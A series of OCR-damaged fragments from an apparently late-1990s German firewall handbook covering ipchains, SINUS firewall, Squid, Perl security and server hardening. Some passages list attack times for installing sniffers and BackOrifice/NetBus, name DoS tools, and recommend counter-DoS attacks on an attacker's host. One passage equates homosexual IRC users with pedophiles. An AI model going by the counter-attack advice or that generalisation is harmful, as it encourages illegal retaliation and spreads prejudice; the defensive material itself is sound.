253. e Dienste betroffen sind lohnt es sich diese Probleme sofort zu korrigieren Mitprotokolliert werden mu auch auf welche Files oder weitere Programme Dienste D monen der getestete D mon zugreift bzw zugegriffen hat Hierzu geh ren auch die shared libraries die zur Erstellt von Doc Gonzo http kickme to plugins Laufzeit bzw beim Start des Dienstes ge ffnet werden Falls hierbei Programme auf wichtige Konfigurationsdateien zugreifen ist zu pr fen ob eine race condition vorliegt Das ist immer dann der Fall wenn die Datei beim Lesezugriff durch den D mon nicht durch schnelle Schreibversuche eines anderen Programms besch digt werden kann Ein Angreifer w rde dann mit einem Debugger die Ursache im Bin rcode suchen und einen exploit programmieren Unter http www lOpht com ist die Vorgehensweise f r beliebige Betriebssysteme ausf hrlich beschrieben Hierzu sind allerdings umgangreiche Kenntnisse in der Speicherarchitektur und in der Maschinensprache des Prozessors erforderlich Korrektur des Quellcodes Es mu dann falls Probleme existieren im Quellcode an geeigneter Stelle eine Abfrage auf Uberlange einprogrammiert werden Falls dies nicht m glich ist weil entweder keine Quellcodes verf gbar sind sollte man sich nach Alternativen umsehen Dieses k nnte die Portierung von Software auf das System f r die der Quellcode verf gbar ist bedeuten oder auch die Programmierung eines externen Filters der speziell f r diesen
254. e Kenntnis des Quellcodes UNIX 1 2 Tage Exploit schreiben ohne Kenntnis des Quellcodes nach konkreten Hinweis NT 4 0 IIS 2 0 1 Stunde bis 2 Tage e Auffinden von m glichen exploits Quellcode 1000 Zeilen C 3 Stunden 1 Tag e Reverse Engineering von JAVA Bytecode Quellcode kleine Anwendung 1 Stunde e Reverse Engineering von VB 4 0 Bytecode Quellcode 1 Stunde e Reverse Engineering von 2 KByte Binary gt Quellcode Zeit f r neu schreiben e Fehler in TCP IP Stack suchen ber Netzwerk und DoS Angriff ausf hren 5 Minuten e Pa wortsniffer unter Windows 95 NT installieren 5 Minuten e Pa worte aussortieren und Zugriff auf Fileserver SQL Server erhalten 10 Minuten e Keyboard Sniffer installieren 5 Minuten e BO NetBus und Plugins remote installieren 5 Minuten Erstellt von Doc Gonzo http kickme to plugins Diese Beispiele sollen nur ungef hr eine Vorstellung von dem Zeitaufwand geben den es braucht mit entsprechenden Vorkenntnissen und Erfahrung bestimmte Angriffe erfolgreich durchzuf hren Wie wichtig ein regelm iger Sicherheits Check der Unternehmens Server und das Einspielen der Security Patches ist d rfte klarwerden wenn man sich die kurze Zeit anschaut die es braucht ein einmal ver ffentlichtes Sicherheitsproblem eines Servers f r einen Angriff auszunutzen Ist ein solcher Angriff gut vorbereitet indem die genauen Versionsnummern bekannt sind so ben tigt es nur noch die o a Zeit als Vorbereit
255. e Kernel 2 0 und 2 2 gibt es auf der Site http www freshmeat net Kernelerweiterungen die sogar f r einzelne User Accounting durchf hren k nnen Diese m ssen in den Kernel einkompiliert werden Zur einfacheren Bedienung finden sich dort auch Frontends mit denen das Paketez hlen sehr einfach ist Diese Funktionieren auch mit der IPCHAINS Firewall im Kernel 2 2 10 6 Die berpr fung der UNIX Sicherheit Nicht nur unter UNIX ist es v llig unm glich absolute Sicherheit zu fordern Das trifft um so mehr zu je mehr Dienste oder D monen auf dem Server aktiviert wurden Beim Einsatz eines UNIX Servers in der DMZ sollte dieser als BASTION HOST siehe hierzu Kapitel Architektur von Firewalls besonders abgesichert werden Hierzu kann man nat rlich die LINUX Kernelfirewall mit IPFWADM IPCHAINS oder auch SF Firewall einsetzen Auf der Firewall laufen dann jedoch viele Anwendungen Diese Konstruktion nennt sich BASTION HOST Selbstverstandlich muB unbedingt ein BASTION HOST durch zwei Firewalls abgesichert werden eine auf der Seite des Internets die andere auf der Seite des Intranets Diese Firewalls d rfen nat rlich keine weiteren Dienste aktiviert haben Sie dienen auf der Seite des Internets der berwachung und auf der Seite des Intranets der Sicherheit Zuerst m chte ich jedoch auf ein paar Quellen im Internet verweisen die sich als recht n tzlich erwiesen haben http viper dmrt com tools Linux Misc unix sec checklist htm Die
256. e M glichkeiten beschrieben und mit Beispielen unterlegt Details bez glich der genauen Syntax sind am Ende dieses Abschnittes zu finden Das Konfigurationsfile ist in 3 Abschnitte aufgeteilt e Die setup Sektion enth lt Informationen ber die Netzwerk Topologie und das System e Die configration Sektion enth lt alle Filterregeln f r IP Pakete e Die notification Sektion gibt an was die Firewall zu tun hat wenn eine Regel zutrifft Alle Kommentare in dem Konfigurationsfile sind mit einem zu Beginn oder mit entsprechend dem C Stil gekennzeichnet Es d rfen nur Kleinbuchstaben im Konfigurationsfile benutzt werden Festlegung der IP Adressen IP Adressen werden an verschiedensten Stellen in dem Konfigurationsfile benutzt Es sind beide Schreibweisen f r IP Adressen erlaubt Der DNS Name und die IP Nummer als Dezimalzahl durch Punkte getrennt Also www name de oder 1 2 3 4 Hierzu mu der resolver Zugriff auf den DNS Server haben oder es m ssen in der Datei etc hosts alle beteiligten Hostnamen eingetragen werden Aus Gr nden der Sicherheit sollte man mit den IP Nummern und nicht mit den DNS Namen arbeiten Dies hat folgende Gr nde Erstellt von Doc Gonzo http kickme to plugins e Hinter einem DNS Namen k nnen sich mehrere IP Nummern verbergen Siehe www netscape com oder eine der gro en Suchmaschinen e Der Resolver kann falls er Broadcasts im Netzwerk sieht den Aufbau der ISDN Verbindung in das Inter
257. e Probleme heraufbeschw ren Wichtig ist da diejenigen Server die die Logmeldungen der Server Firewall speichern selber hochgradig abgesichert sind Einen Angriff in Echtzeit mit zu verfolgen dieses Privileg haben nur wenige Umso wichtiger ist die absolut zuverl ssige Auswertung von Logfiles nach einem Angriff Bei dem Einsatz von Microsoft Servern und Arbeitsstationen sollte man auch die Logfiles der Arbeitsstationen auf einen zentralen Logserver sichern und berwachen Es hilft Unregelm igkeiten bei Arbeitsstationen zu erkennen und evil diese genauer auf Einbruchsspuren zu untersuchen Hierzu darf der Angreifer keinen Zugriff auf den LogHost erhalten Dieser sollte durch eine eigene Firewall mit eigener Hardware gesch tzt sein 23 12 Der unbemerkte Diebstahl von Daten Wege ein Programm in ein Unternehmen zu schleusen sind vielf ltig Problematischer ist es gr ere Informationsmengen unentdeckt heraus zu schleusen Besonders einfach hat es ein Angreifer der die zumeist sehr gro en Datenbest nde eines Unternehmens z B in einer SQL Datenbank unbemerkt aufarbeiten und filtern kann um dann die ausgewerteten Daten m glichst unauff llig aus dem Netz heraus transportieren zu k nnen Dabei nutzt ein Angreifer gerne vernachl ssigte Server zur Vorselektierung Filterung und Komprimierung der Daten bevor er diese in das Internet entf hrt Hierbei spielt es keine Rolle ob als Serversystem UNIX mit seinen vielen leistungsf
258. e der Art echo Merker 1 einsetzen So findet man die fehlerhaften Zeilen Dies ist im Grunde von mir auch so beabsichtigt Fertige Skripte sind sogar von mir schwer zu durchblicken insbesondere diejenigen die das Firewall Configuration Toolkit FCT so liefert Siehe hierzu auch http www friedrich net de f Besser ist f r Anf nger das Skript http www mindstorm com sparlin demos fwconfig zu berblicken Hier ein Beispiel bin sh Firewall Skript built for ipfwadm Skript created Sat Jul 17 05 20 19 1999 http www mindstorm com sparlin demos fwconfig Set up variables INTERNALIP 192 168 1 1 EXTERNALIP 222 222 222 222 LOOPBACK 127 0 0 1 NETWORKIP 192 168 1 0 ANY WHERE 0 0 0 0 0 PORTS 1024 65535 TCP_ALLOWIN ftp smtp www pop 3 pop TCP_ALLOWOUT tcpmux echo discard systat daytime netstat gotd chargen ftp data ftp telnet smtp time whois domain mtp gopher rje finger www link supdup hostnames iso tsap x400 x400 snd csnet ns pop 2 pop 3 pop sunrpe sunrpc ident sftp uucp path nntp ntp netbios ns netbios dgm netbios ssn imap NeWS exec login shell printer efs tempo courier conference netnews uucp remotefs pcserver listen nterm ingreslock tnet cfinger Inetxfer netperf MASQ_ALLOWIN discard ftp data ftp telnet smtp domain www pop 3 ident Flush previous rules sbin ipfwadm I f Set default policy to deny sbin ipfwadm I p deny Erstellt von Doc Gonzo http kickme to
259. e text strings generally do not reveal much about the functionality of an application in this case the text actually says that it is intended for testing In any case this code has not been part of the application for quite some time Given these facts we feel the characterization of NeoPlanet as a Trojan Horse was rather irresponsible Therefore we request a retraction and ask that in the future if you find code in the NeoPlanet application that you do not understand please inquire with us before publicly stating such potentially libelous conclusions Thank you in advance Sean Conway NeoPlanet Inc gt gt gt Automatic Testing of Neoplanet Mail Client s Queuing Functionality gt Queue Mail Test message d gt Queue Mail Test gt Create 50 messages to test sushiking com in the Outbox gt queuemailtest gt Automatic Testing of Neoplanet Mail Client s Send Functionality gt KA B d Y H M S gt Send Mail Test message d gt test sushiking com gt Send Mail Test gt Send 50 messages to test sushiking com gt sendmailtest gt gt What s the purpose of test sushiking com Why does it send mail gt gt regards Guido Stepken gt gt gt gt gt NeoPlanet abides by an earnest respect for the rights and interests of gt gt Internet users Our overriding goal is to provide a positive and useful gt gt Internet experience through our software strictly with the gt consent
260. e_dir var squid cache 100 16 16 Danach m ssen Sie die Cache Verzeichnisse var squid cache l schen und durch Start von SQUID mit der Option Yz wieder neu anlegen Sie d rfen nicht vergessen das Cache Verzeichnis und alle Verzeichnisse darunter durch chown R nobody nogroup var squid cache an den SQUID D mon zu bergeben der gew hnlich unter diesem Useraccount mit eingeschr nkten Rechten gestartet wird Niemals sollte SQUID als Root laufen Erstellt von Doc Gonzo http kickme to plugins Sie werden sehen da pl tzlich der SQUID PROXY gegen ber allen mir bisher bekannten Distributionen S u S E 6 2 und RedHat 6 1 erheblich beschleunigt wird Die Performanceverbesserungen sind so dramatisch da Sie durchaus ca 150 Arbeitspl tze ber eine ISDN Leitung an das Internet anbinden k nnen ohne da jemand einschl ft Ein Problem sollten Sie jedoch ber cksichtigen Mit Hilfe der TOS Flags sollten Sie den FTP Traffic ber den LINUX ISDN Firewallproxy gegen ber HTTP mit einer niedrigeren Priorit t ausstatten damit bei l ngeren FTP Downloads alle User ohne merkliche Performance Einbu en surfen k nnen F r 2 MBit Anbindungen mit vielen hundert DIAL IN s sollten diese Einstellungen ebenfalls ausreichen allerdings sollte man dem PROXY CACHE ein RAID System auf SCSI Basis und viel mehr RAM spendieren Die Variable SOMAXCONN ist daf r zust ndig die maximale Zahl der halboffenen Verbindungen Siehe SYN ACK Mechanismus
261. efunden so installieren sie schnell BO und durchforsten die Festplatte nach Briefen u s w Sehr viele P dophile oder Homosexuelle Surfer benutzen IRC Clients um untereinander zu kommunizieren oder was weit h ufiger der Fall ist gesetzlich verbotene Bilder auszutauschen Diese IP Nummern von IRC Mitgliedern werden routinem ig von Hackern auf Verletzbarkeiten berpr ft um evtl BO zu installieren Man kann davon ausgehen da tausende von Lehrern Professoren Angestellte u s w auf diesem Wege Opfer von Erpressungen Erstellt von Doc Gonzo http kickme to plugins werden Andererseits gibt es im Internet einige zwielichtige Personen die als selbsterkl rte Polizisten auf diesem Wege die Kinderpornografie bek mpfen Diese geben nach solchen Angriffen Tips an die Polizei Geschichten zum Nachdenken Im Kapitel Geschichten zum Nachdenken werden Nachl ssigkeiten von Systemadministratoren beschrieben die zu einem erheblichen Schaden f hren k nnen Die Informationen sind nat rlich frei erfunden zeigen aber was so passieren kann Was kann man aus diesen Angriffen lernen e Die kleinste scheinbar belanglose Information ist f r einen Angreifer wichtig e Eine technische Sicherheits berpr fung der Firewall ist f r einen Angreifer ohne Belang e Die Existenz einer Firewall sch tzt nicht vor einfachen Angriffen Ein einziger unsicherer Server im Netzwerk wird von einem Angreifer als Werkzeug mi braucht ob UNIX o
262. ehen wird ist die Netzmaske 255 255 255 0 stets anzugeben Die setup Sektion In dem Konfigurationsfile startet dieser Abschnitt mit dem Schl sselwort setup Das als Option zu verwendende Schl sselwort internalnets sagt der Firewall welche IP Nummern sich im internen Netzwerk befinden Hier k nnen sowohl IP Nummern von Hosts als auch Netzwerkadressen miteinander kombiniert angegeben werden Diese IP Adressen werden normalerweise vom Provider zugewiesen F r den Einsatz mit einer dynamischen IP Nummer ist ein Router mit NAT oder Masquerading vor der SINUS Firewall einzusetzen In diesem Falle k nnen die Netzwerkadressen intern beliebig gew hlt werden Die Liste der Adressen ist durch Komma zu trennen und mit einem Semikolon wie in C oder BASH blich abzuschie en Diese Information wird von der Firewall unbedingt zum Schutz vor gespooften Adressen ben tigt Die Firewall kann nur so feststellen ob ein Paket korrekt seinem Interface zugeordnet worden ist beispielsweise d rfen Pakete die als Absender Adressen aus dem Bereich des Intranets tragen nicht Zugang ber das u ere Interface erhalten In diesem Falle liegt entweder eine Fehlkonfiguration vor oder ein Angreifer arbeitet mit adress spoofing wobei ersteres die weit h ufigere Ursache ist Es mu eine e Mail Adresse angegeben werden an welche die Firewall alle gew nschten Warnmeldungen Einbruchsversuche Meldungen ber Scanversuche oder Erstellt von Doc Gonzo
263. eibung des Aufbaus der Firewall Wie Dieser Abschnitt beschreibt alles notwendige was man zum Aufbau der Linux 2 2 Firewall wissen mu Pakete ber die Firewall hinweg geroutet werden Die Firewall beherrscht drei Arten von Regeln Diese Regeln werden firewall chains oder auch nur chains genannt Die drei chains sind in input output und forward unterteilt Wenn ein Paket eintrifft beispielsweise der Ethernet Karte dann benutzt der Kernel die input Regeln Wenn das Paket diesen Filter erfolgreich passiert hat dann wird es an die n chste Funktion bergeben die routing genannt wird Hier wird entschieden aus welchem der Netzwerk Karten das Paket austreten darf Linux unterst tzt bis zu 20 interne Ethernet Interfaces und bis zu 4 ISDN Karten mit je 2 Kan len Patch erforderlich Danach wird es aus einem der Interfaces in ein Netzwerk versendet Bevor es das Interface passieren kann wird es nochmals in der output chain gefiltert Eine chain ist eine Checkliste von rules also Regeln Jede Regel pr ft nun das Aussehen des Headers des Paketes und entscheidet dann was zu tun ist Im Gegensatz zu anderen Firewalls wird das Paket mit allen Regeln in einer chain verglichen Am Ende der chain angelangt entscheidet der Kernel danach was in der chain policy steht und f hrt die darin enthaltenen Befehle aus Normalerweise wird das Paket mit reject zur ckgewiesen oder mit deny verworfen Dieses ASCII Diagramm zeigt auf was mit dem Pak
264. eile des TCP IP Stacks aus BSD implementiert worden sind LINUX 2 0 ist hier um Faktoren 2 15 langsamer Von Interesse ist hier oft die Zahl der CPU Zyklen die von dem Berkley Paket Filter f r die Weiterleitung von Paketen verbraucht Erstellt von Doc Gonzo http kickme to plugins werden Die Zyklen h ngen entscheidend von der Art der Filterung ab max MTU 1590 Byte e P Pakete an der Netzwerkkarte Netmask 50 100 CPU Zyklen e P Pakete filterung nach src oder dst 100 200 CPU Zyklen e TCP Paket mit src und dst Port 200 400 CPU Zyklen Wer schnellstm gliche Paketfilterung haben m chte der sollte unbedingt NetBSD auf DEC ALPHA mit 700 MHz einsetzen Das Paket IP Filter von Darren Reed kann bis ca 500 000 Pakete Sekunde Filtern eine unglaubliche Transferrate Unter LINUX ALPHA mit Kernel 2 2 liegt die Rate erheblich niedriger Ca 200 000 Pakete pro Sekunde sind aber realistisch jeweils bei max MTU 1590 Byte Wie man sieht sind ATM Netzwerke 155 MBit kein Problem mehr auch f r Billig PC s mit Intel Hardware Wer genaue Messwerte f r SINUS Firewall sucht der findet diese im SINUS Firewall Source unter Dokumentation 21 7 Tuning der TOS Bits in TCP IP Paketen Dieses Tuning der TOS Bits ist im Kapitel TOS Bits ausf hrlicher beschrieben 22 Grundlagen zur Installation von Linux F r die Installation der Firewall Routinen im Kernel ist in fast allen F llen notwendig den Kernel korrekt zu konfigurieren und danac
265. eine Pakete mehr annehmen und folglich ist ein DoS Angriff zu 100 erfolgreich Mit Hilfe eines kleine PERL Skriptes auf der Firewall welches in regelm igen Abst nden nach den sogenannten failed closed Verbindungen sucht Siehe netstat an l t sich das Problem recht einfach beheben jedenfalls bei den von mir installierten LINUX Firewalls Das Skript kann zudem noch einige anderen Probleme mit TCP IP Stacks die LINUX ja auch hat beheben F r Betreiber von mission critical Systemen im Internet kann dies erhebliche Verluste bedeuten Von diesen Angriffen ist auch h ufiger nach meinen Test Erstellt von Doc Gonzo http kickme to plugins Pings ein f hrender Anbieter der Firewall 1 von Checkpoint betroffen Tja Experten Eine genaue Analyse findet sich auf http www enteract com Ispitz fwtable html Leider funktionierte der auf der kostenlosen Supportseite der Firewall 1 von Checkpoint angegebene Tip nicht Siehe http www phoneboy com fw1 faq 0289 html NAT Implementierungsfehler Themen e Falsche Portnummern e DoS durch PING PONG bei Kaskaden von Firewalls NAT oder auch der kleine Bruder von NAT masquerading haben in einigen Varianten Fehler Z B erwarten einige Anwendungen die Verbindungen ber einen NAT Router aufbauen Antwortpakete auf festen Portnummern zur ck Einige Implementierungen nehmen es damit nicht so genau z B auch LINUX mit Kernelversionen bis 2 0 36 mit aktiviertem Masquerading oder NAT
266. eisungen MASQ REDIRECT ACCEPT DENY REJECT oder RETURN Man sollte keine Gro buchstaben als chain Namen verwenden da diese sp teren Erweiterungen vorbehalten sind Der Name einer chain darf maximal nur 8 Buchstaben lang sein Anlegen einer neuen chain Die chain sollte den Namen test bekommen ipchains N test Ok nun k nnen Regeln in diese chain eingef gt werden Erstellt von Doc Gonzo http kickme to plugins L schen einer chain Das L schen einer chain ist ebenfalls einfach ipchains X test Warum X Nun es waren keine guten Buchstaben mehr brig Beim L schen von chains sind einige Restriktionen zu beachten Sie d rfen keine Regeln mehr enthalten L schen einer chain und sie d rfen in einer Anweisung einer Regel in einer anderen chain enthalten sein Hier ein paar Beispiele f r chains die nicht gel scht werden k nnen L schen einer chain Der einfachste Weg alle Regeln in einer chain zu l schen ist die Verwendung der Option F ipchains F forward Wenn nicht explizit eine chain angegeben wird wird angenommen da alle chains gel scht werden sollen also Vorsicht Anzeigen einer chain Die eingetragenen Regeln in einer chain k nnen mit der Option L angezeigt werden ipchains L input Chain input refent 1 policy ACCEPT target protopt source destination ports ACCEPT icmp anywhere anywhere any ipchains L test Chain test refcn
267. eit der Serverd monen m glich unter Windows NT hingegen nicht Da PERL zu den wichtigsten neben PHP serverseitigen Skriptsprachen geh rt hier also eine Art Checkliste f r UNIX unter NT ist diese v llig wertlos PERL geh rt aufgrund des TAINT Mechanismus der Variablen als verdorben kennzeichnet zu den sichersten Programmiersprachen berhaupt Genau deswegen betreiben gro e Internet Sites alle serverseitigen Funktionen unter PERL Yahoo HOTMAIL geh rt zu Microsoft Siemens Deutsche Bank INFOSEEK LYCOS 30 1 Allgemeine Tips 1 Bei jeder Anwendung deren Ausf hrung besondere Privilegien ben tigt mu strengstens auf Sicherheit geachtet werden 2 Das betrifft Skripte die mit einem S Bit SUID ausgestattet sind das hei t sie laufen unter UNIX mit anderen Privilegien als denen des Aufrufers und es gilt in ganz besonderem Ma e f r Netzdienste da sie f r jeden aus dem Internet zugreifenden Client Browser einen m glichen Angriffspunkt darstellen 3 Neben den blichen Techniken zur Vermeidung von Programmierfehlern w auf der Kommandozeile und use strict gibt es hierf r noch eine weitere wertvolle Unterst tzung den Taint Modus der entweder automatisch eingeschaltet wird bei Skripten mit S Bit oder auch explizit gew nscht werden kann Option T in der ersten Zeile eines Skriptes 4 Aber dies allein reicht nicht da es noch weitere Angriffspunkte gibt die nicht automatisch durch T verhindert
268. el 3 4 besitzen IP Filter mit Verschl sselungsmechanismen die sogenannte VPN s bilden k nnen Normale Broadcast Anfragen werden entweder geblockt oder gespooft ARP Einige Broadcast Protokolle werden aber zugelassen z B zum simultanen Booten von hunderten von diskless Arbeitsstationen Der Mangel an Erfahrung mit den verschiedensten Broadcast Multicast Modellen und Einstellungen f hrt dann dazu da Angreifer trotz Filter beliebige Daten in normalerweise nicht erreichbare Netze transferieren k nnen DoS Angriffe auf Arbeitsstationen und Server sind somit immer noch m glich bersicht von Angriffsvarianten auf den TCP IP Stack Angriffe auf den TCP IP Stack geh ren inzwischen zu den besonders h ufigen DoS Denial of Service Attacken Unter Namen wie OOB NUKE LAND TEARDROP und NEW FRAGMENTATION ATTACK bekannt geworden f hrten diese zu st ndigen St rungen in Intra und Internet Einige dieser Pakete werden von Routern und sogar von Firewalls nicht herausgefiltert soda Firewalls ohne eigenen TCP IP Stack f r ein und ausgehende Pakete PROXY Firewalls hierbei das Betriebssystem nicht sichern k nnen Erstellt von Doc Gonzo http kickme to plugins Durch die Ver ffentlichung von Programmen wie latierra die einige kritische Kombinationen ber alle IP Nummern eines Netzwerkes und alle Portnummern durchprobieren sind solche Angriffe leider allt glich geworden IP Header L nge lt IP Fragment Offset bonk c
269. elden Das hat zum Teil historische Gr nde Bei der Programmierung von BSD UNIX wurden definiert da alle Ports lt 1024 privilegierte Ports sind die ausschlie lich den UNIX D monen vorbehalten sein sollen Alle anderen Ports k nnen entsprechend den Vorschl gen in den RFC s genutzt werden Diese findet man in jeder LINUX Distribution im Verzeichnis usr doc rfe Da TCP Verbindungen sich nach dem 3 Wege Handshake auf h here Ports gt 1024 verlagern hat man dann also eine sauberere Trennung zwischen Anwenderprogrammen und UNIX Systemprogrammen bei der Nutzung der Ports Ein Netscape Client der sich von Port 3120 mit seiner IP Nummer an Port 80 des Servers anmeldet und akzeptiert wird wird vom Serverd mon auf einen h heren Port verlagert beispielsweise 54123 Von nun an unterhalten sich Netscape und der WWW Server zwischen Port 3120 und Port 54123 des Servers Auf diese Weise kann man mit netstat a einfach nach normalem Traffic Verkehr zwischen Anwendungsprogrammen und wichtigem Verkehr zwischen UNIX Servern und Routern im Internet unterscheiden Nebenher fallen dann Verbindungsversuche von Hackern oder Fehlkonfigurationen von Clients schneller auf Viele der einfachen Angriffswerkzeuge die man im Internet findet benutzen als Quellcode privilegierte Ports Wenn ein Angreifer mehr Ahnung hat dann wird er die Quellcodes sicher anpassen eine Sicherheitsgarantie ist die Aufteilung der Ports in privilegierte und unprivilegierte ohnehin
270. eldungen aber in Abh ngigkeit der Meldung host unreachable k nnte der Sender meinen da der Host nur vor bergehend berlastet ist und w rde st ndig die Pakete neu senden Um also wirklich eine Verbindung zur ckzuweisen ist es notwendig im TCP Paket noch ein Flag zu setzen beispielsweise das RST Bit welches das Ende einer TCP Verbindung einleitet reset Viele Programme unterscheiden nicht zwischen den verschiedenen ICMP unreachable Mitteilungen Somit kann es passieren da ein Host v llig unerreichbar wird was sicher nicht so beabsichtigt ist ICMP Fehlermeldungen sollten also niemals einfach mit einem reject beantwortet werden Um dieses Problem zu umgehen benutzt die SINUS Firewall die Option reject with best was bedeutet da die TCP Pakete mit einem RST Flag zur ckgesandt werden Eine ICMP port unreachable Nachricht wird f r UDP und alle sonstigen Pakete erzeugt Filtern von TCP Verbindungen Wenn man die Regeln f r TCP Pakete aufsetzt gibt die from Adresse den Initiator der Verbindung an Antwortpakete aus dem Internet z B sofern sie von innen initiiert worden sind d rfen die Firewall passieren Sie haben alle das ACK Bit gesetzt Ist der notification level gr er 0 dann wird nur zu Begin des Verbindungsaufbaues also wenn das SYN Bit gesetzt ist ein Logeintrag erzeugt Alle weiteren Antwortpakete werden nicht mehr mitgeloggt Das FTP Protokoll erfordert eine spezielle Behandlung da hier ein zweiter Datenka
271. ele Hersteller behelfen sich durch Log Rotation d h ein Angriff wird immer mitgeschnitten und falls die Festplatten voll sind wird von vorne angefangen F r einen Angreifer bedeutet dies aber da er ohne Gefahr entdeckt zu werden beliebige Angriffe starten kann Er wei da er nach den Angriffen den Logserver wieder berschwemmen kann Die wahren Dokumente seiner Untaten verschwinden dann unter belanglosen Meldungen Massive Angriffe m ssen daher unbedingt mit proaktiven counter intelligence Ma nahmen bek mpft werden und zwar hin bis zu einem DoS Angriff der von der Firewall selber gegen den Host des Angreifers ausgef hrt wird Die Gr e derjenigen Platte die die LOG Files speichert sollte ein vielfaches derjenigen Gr e betragen die ein bis zu 72 Stunden lang dauernder Beschu mit bekannten Toolkits verbraucht Nur eine einzige kommerzielle Firewall verh lt sich im Fall da kein freier Speicherplatz mehr zur Verf gung steht korrekt und sperrt alle Interfaces DEC Firewall F r einen ISP ist das aber sicher nicht die korrekte L sung DoS und Filter in Firewall Themen Filter auf Anwendungsebene Programmierung von Filtern Analyse von Angriffen L ngenbegrenzungen Support von Firewall Herstellern Filter im Eigenbau PROXY Filter die auf Anwendungsebene filtern sollten nicht Bestandteil der Firewall sein Das hat mehrere Gr nde Filter erfordern einen hohen Aufwand an CPU Leistung und k nnen au erdem WWW
272. ellen zu k nnen welche Daten von wo aus an den Filter bergeben werden mu man eine vollst ndige Flu analyse des hier noch berschaubaren Programmes durchf hren Es m ssen also folgende Fragen gekl rt werden Ein einziger Fehler im Quellcode ist bereits f r einen Angreifer ausreichend um in das Netzwerk hinter dem Proxy vorzudringen Wo ist der Fehler e Werden ARGC ARGV abgefangen e Wie fordern die Unterroutinen in stdio netdb netinet u s w Speicher an malloc realloc vmalloc Welche Routinen sind buffer overflow gefahrdet e Welche Arrays sind statisch angelegt welche Informationen k nnen dort hineingeschrieben werden Ist ein buffer overflow m glich e Werden unzul ssig Lange Strings vor dem Speichern in statische Arrays auf Uberlange abgefragt Wo ist ein Beispiel im Code e Welche Pointer auf Arrays oder Funktionen k nnen mit unzul ssigen Werten gef llt werden Wo werden diese Werte auf Zul ssigkeit untersucht e Welche Fehlermeldungen werden an den SYSLOGD oder KLOGD bei welchen Fehlern bergeben Welche Fehler k nnen vom Systemadministrator entdeckt werden e Nach welchem Mechanismus arbeitet der VDO Proxy Welche Ports TCP UDP sind zu welchem Zeitpunkt ge ffnet welche bleiben unn tig lange ge ffnet Welche TCP Ports bleiben offen Welche Angriffe sind m glich e Welche Ports werden nach Absprache mit dem VDO Video Server im Internet in der Firewall bzw in dem Proxy ge ffnet Ist
273. elligenter Mechanismus gefunden werden der TCP und UDP Pakete miteinander kombiniert damit nicht alle UDP Ports auf der Firewall ge ffnet werden m ssen IBM hat diese Problem dadurch gel st da generell der DNS Server mit TCP arbeitet Andere Hersteller haben komplexe Proxy s eingef hrt die die Datenpakete zur Sicherheit filtern das generelle Problem mit UDP bleibt aber bestehen Noch einfacher ist es in der Datei etc services die Zeile domain 53 udp nameserver Erstellt von Doc Gonzo http kickme to plugins zu entfernen Damit kann der DNS Server das UDP Protokoll nicht mehr verwenden Leider machen nicht alle DNS Server dieses Spiel mit Fassen wir einmal die Unterschiede zwischen TCP und UDP zusammen TCP Pakete e SYN Bit bei Verbindungsaufbau Nach dem Verbindungsaufbau werden Port gt 1024 verwendet BSD Konvention Der Kernel kennt alle angeforderten Pakete ACK Bit bei allen anderen Paketen gesetzt SYN ACK Bit wird abgelehnt Pr fsummen werden vom Kernel generiert Verlorene Pakete werden vom Kernel neu angefordert TCP besitzt einen gro en Overhead Protokolle wie FTP ben tigen eine besondere Behandlung PASV UDP Pakete UDP besitzt kein SYN oder ACK Bit Nach dem Verbindungsaufbau werden dieselben Ports verwendet Der Kernel mu UDP Pakete ins Intranet freigegeben haben Es werden keine Pr fsummen generiert Verlorene Pakete sind verloren UDP ist effizient Viele Protokolle verwenden TCP und UDP
274. ellung ist oft dieselbe berpr fung der Sicherheit einer bestehenden Firewall Installation Es ist mit etwas Hintergrundwissen recht einfach die typischen Schwachstellen einer Anbindung ausfindig zu machen Diese auch auszunutzen dazu geh rt etwas Programmiererfahrung mit Microsoft Visual C oder Visual Basic Der Rest ist Routine Ich pers nlich halte jede Art von Auditing f r v llig unseri s da in der Vergangenheit immer wieder neue Sicherheitsl cken aufgedeckt wurden die Systemadministratoren w hrend ihrer t glichen Arbeit garnicht alle schnell genug stopfen k nnen Auch eine Firma die einen Wartungsauftrag f r eine Internet Anbindung erf llt kann nicht so schnell die Patches aufspielen wie ein Cracker die neu entdeckten Sicherheitsl cken ausnutzen kann Allein schon ein Vorsprung von 10 Minuten nach einer Ver ffentlichung im BUGTRAQ Archiv w rde schon ausreichen um in ein Netzwerk vorzudringen Auditing kann sich also nur auf eines konzentrieren Die Analyse und Auswertung der Logfiles damit ein Einbruch und ein Datendiebstahl auch bemerkt werden kann Hierzu mu undbedingt ein Einbruch durchgef hrt und dann analysiert werden warum der Systemadministrator mal wieder nichts bemerkt hat oder bemerken konnte So ist es jedenfalls den Sicherheitsexperten einiger Banken und Forschungslabors einiger Chemiekonzernen gegangen deren Anbindung ich im Auftrag berpr fen mu te Alle Anbindungen waren professionell installiert
275. em Befehl find perm 04000 optional print exec rm e Alle verbleibenden Dienste z B der SYSLOGD sollten in einer CHROOT Umgebung installiert sein was bedeutet da ein Angreifer wenn er ein buffer overflow Problem des D mon ausnutzt h chstens auf ein Unterverzeichnis der Festplatte zugreifen kann Wer sich intensiver damit besch ftigen mu der findet im Kapitel chroot weitere Tips e Alle verbleibenden Dienste sollten unter minimalen Userrechten laufen z B nobody und nogroup e Die Eintr ge aller User au er root und userxyz in der Datei etc passwd sollten statt bin bash den Dummy Eintrag bin false erhalten e Entfernen alle berfl ssigen Protokolle aus dem Kernel durch Neukonfiguration und Neukompilation des Kernels e Entfernung aller berfl ssigen D monen aus den Startup Skripten etc inittab sbin init d rc d oder etc rc d rc d sowie der Datei etc rc local Nachten sollte man stets auch auf die Dateien profile etc profile und bashrc oder cshrc e Enfernung des KERNELD damit keine Treiber dynamisch nachgeladen werden k nnen e Uberpr fen Sie die Authentizit t aller noch verbleibenden Programme Libraries oder D monen auf Quellcode Ebene Falls Sie nicht sicher sind berpr fen Sie die MD5 Pr fsummen Es k nnte hierzu notwendig sein da viele Teile neu kompiliert werden m ssen Kompilieren Sie stets mit der Option static in dem Makefile e Damit Sie sicher sein k nnen da die v
